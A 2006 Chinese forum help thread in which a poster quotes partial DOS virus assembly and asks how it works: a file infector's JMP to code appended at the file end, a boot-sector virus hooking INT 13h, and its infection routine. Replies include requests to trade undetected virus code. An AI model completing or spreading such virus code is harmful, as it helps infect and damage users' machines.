首页
社区
课程
招聘
[求助]病毒程序中的问题。谢谢
2006-5-20 15:07 4322

[求助]病毒程序中的问题。谢谢

2006-5-20 15:07
4322
第一个问题:一般文件型病毒把病毒体接在文件尾时,怎么确定文件开头jmp 病毒入口的地址呢。
也就是如何得到文件尾病毒的地址呢?
我看到有个文件型病毒是这样
mov ax,4202 ;cx=dx=0移到文件尾,取得长度
xor cx,cx
xor dx,dx
int 21h     ;返回到ax
sub ax,3    ;这个减3是干么的
mov word ptr vir_jmp[1],ax  ;文件长度-3?还是别的意思,怎么会是病毒入口地址
....
vir_jmp db 0e9h,?,?
----------------------------------------------------------------------------
第二个问题:
有个引导型病毒是这样:
;驻留部分
mov es,ax;取得基本内存大小减1KB,得到段址放到ax
;将病毒程序从7c00搬到高端es:0处
mov ax,es    ;修改13h到病毒13h:newint13h
sub ax,7c0h
mov es,ax
mov bx,0
mov ds,bx
mov word ptr ds:[13*4],offset newint13h
mov word ptr ds:[13*4+2],es
;为什么高端地址-7c0h作为thenext和病毒13h的段地址呢,为什么不是es作为段址呢
mov ax,es
sub ax,7c0h
push ax
mov ax,offset thenext
push ax
retf   ;接着执行thenext
thenext:
............;将原引导记录读到7c00,跳去执行
retn
newint13h:
..... ;监控部分
retf
--------------------------------------------------------------------------
第三个问题:
有个引导型病毒:
code segment
assume cs:code,ds:code
org 100h
jmp short start
db 20h dup(?)
db 'wn'   ;wn作为已传染的标记
start::
.........
effect:  ;传染部分
pusha
mov ax,0301h
mov dh,0
mov cx,2
int 13h   ;保存原引导记录到2扇区
mov si,bx
add si,1b0h
push es
pop ds
push cs
pop es
mov di,7c00h+1b0h
mov cx,50h
cld
Rep movsb   ;移动80字节,为什么只是80字节,为什么从1b0开始?
mov si,bx
add si,2
mov di,7c00h+2
mov cx,20h
cld
Rep movsb    ;移动32字节,为什么是32字节,
mov ax,0301h  ;将7c00开始的512B病毒写入到1扇区中
......
int 13h
popa
retn

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 227
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seny 2006-5-21 23:42
2
0
咋没人帮我哦 看不懂程序好烦啊。
雪    币: 380
活跃值: (96)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
llydd 9 2006-6-6 12:31
3
0
怎么我看的一个病毒源码里的却是ax-4呢?AX好像存放的是文件指针的位置吧
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
SUB AX,4
。。。。。。。
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
无法无天 2006-6-7 12:48
4
0
建议:
  如能根据你以知的猜写部分c或是其他代码看看
也许会找到端倪 我不擅长汇编
不我的感受是更多的作用是调用模块而已
就像用call xxxxxxxxxxxxxx
  jmp 或j() 等跳转一样
但还的编译的原代码一样得到具体地址

请问你的这些代码怎么得到的
@: fineair6loveme@yahoo.com.cn
thanks
雪    币: 212
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cgdxxx 2006-6-13 16:43
5
0
我有一些病毒代码,是从机房拿的,kv也查不出,怀疑是老师写的
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
无法无天 2006-6-15 09:38
6
0
给我一些啊
发邮电吧
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
不来米 2006-6-18 16:02
7
0
可以看看罗云彬的<<windows环境下的32位汇编语言程序设计>>最后两个例子,熟悉pe格式
游客
登录 | 注册 方可回帖
返回